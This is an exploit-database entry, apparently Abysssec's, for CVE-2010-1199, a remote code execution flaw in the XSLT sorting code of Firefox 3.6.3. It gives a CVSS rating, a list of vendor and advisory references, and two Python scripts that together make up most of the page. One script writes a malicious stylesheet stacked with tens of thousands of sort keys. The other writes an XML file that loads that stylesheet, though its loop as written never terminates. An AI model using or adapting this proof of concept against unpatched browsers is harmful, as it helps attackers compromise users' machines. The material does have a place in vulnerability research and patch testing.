Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

2010.09.13

Credit: Abysssec

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-1199

CWE: CWE-189

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ < Day 9 (Binary Analysis)
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-9-mozilla-firefox-xslt-sort-remote-code-execution-vulnerability/
http://www.exploit-db.com/sploits/moaub-day9-ba.zip
'''
'''
Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
'''
import sys;
myStyle = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="html"/>
<xsl:template match="/">
<html>
<head>
<title>Beatles</title>
</head>
<body>
<table border="1">
<xsl:for-each select="beatles/beatle">
"""
BlockCount = 43000
count = 1
while(count<BlockCount):
myStyle = myStyle + "<xsl:sort select='name/abysssec"+str(count)+"' order='descending'/>\n"
count = count + 1
myStyle = myStyle +"""
<tr>
<td><a href="{@link}"><xsl:value-of select="name/lastname"/></a></td>
<td><a href="{@link}"><xsl:value-of select="name/firstname"/></a></td>
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
"""
cssFile = open("abysssec.xsl","w")
cssFile.write(myStyle)
cssFile.close()
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
'''
'''
Title : Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability
Version : Firefox 3.6.3
Analysis : http://www.abysssec.com
Vendor : http://www.mozilla.com
Impact : High/Critical
Contact : shahin [at] abysssec.com , info [at] abysssec.com
Twitter : @abysssec
CVE : CVE-2010-1199
MOAUB Number : MOAU_09_BA
'''
import sys;
myStyle = """<?xml version="1.0"?>
<?xml-stylesheet href="abysssec.xsl" type="text/xsl"?>
<beatles>
"""
block = """
<beatle link="http://www.johnlennon.com">
<name>
"""
BlockCount = 2147483647
rowCount=10
#myStyle = myStyle + "<tree id='mytree' flex='1' rows='"+str(rowCount)+"'>\n"
count = 1
while(count<BlockCount):
myStyle = myStyle + """
<beatle link="http://www.johnlennon.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"A"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Lennon</lastname>
</name>
</beatle>
<beatle link="http://www.paulmccartney.com">
<name>"""
myStyle = myStyle + " <firstname>"+"B"*rowCount+"</firstname>\n"
myStyle = myStyle + """ <lastname>McCartney</lastname>
</name>
</beatle>
<beatle link="http://www.georgeharrison.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"C"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Harrison</lastname>
</name>
</beatle>
<beatle link="http://www.ringostarr.com">
<name>
"""
myStyle = myStyle + " <firstname>"+"D"*rowCount+"</firstname>\n"
myStyle = myStyle + """
<lastname>Starr</lastname>
</name>
</beatle>
<beatle link="http://www.webucator.com" real="no">
<name>
"""
myStyle = myStyle + " <firstname>"+"E"*rowCount+"</firstname>\n"
myStyle = myStyle +"""
<lastname>Dunn</lastname>
</name>
</beatle>
"""
count = count - 1
myStyle = myStyle +"""
</beatles>
"""
cssFile = open("abyssssec.xml","w")
cssFile.write(myStyle)
cssFile.close()

References:

https://bugzilla.mozilla.org/show_bug.cgi?id=554255

http://xforce.iss.net/xforce/xfdb/59666

http://www.vupen.com/english/advisories/2010/1773

http://www.vupen.com/english/advisories/2010/1640

http://www.vupen.com/english/advisories/2010/1557

http://www.vupen.com/english/advisories/2010/1556

http://www.vupen.com/english/advisories/2010/1551

http://www.ubuntu.com/usn/usn-930-2

http://www.securitytracker.com/id?1024139

http://www.securitytracker.com/id?1024138

http://www.securityfocus.com/bid/41050

http://www.redhat.com/support/errata/RHSA-2010-0501.html

http://www.redhat.com/support/errata/RHSA-2010-0500.html

http://www.redhat.com/support/errata/RHSA-2010-0499.html

http://www.mozilla.org/security/announce/2010/mfsa2010-30.html

http://www.mandriva.com/security/advisories?name=MDVSA-2010:125

http://ubuntu.com/usn/usn-930-1

http://support.avaya.com/css/P8/documents/100091069

http://secunia.com/advisories/40481

http://secunia.com/advisories/40401

http://secunia.com/advisories/40326

http://secunia.com/advisories/40323

http://oval.mitre.org/repository/data/getDef?id=oval:org.mitre.oval:def:10885

http://lists.opensuse.org/opensuse-security-announce/2010-07/msg00005.html

See this note in RAW Version

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Mozilla Firefox XSLT Sort Remote Code Execution Vulnerability

References:

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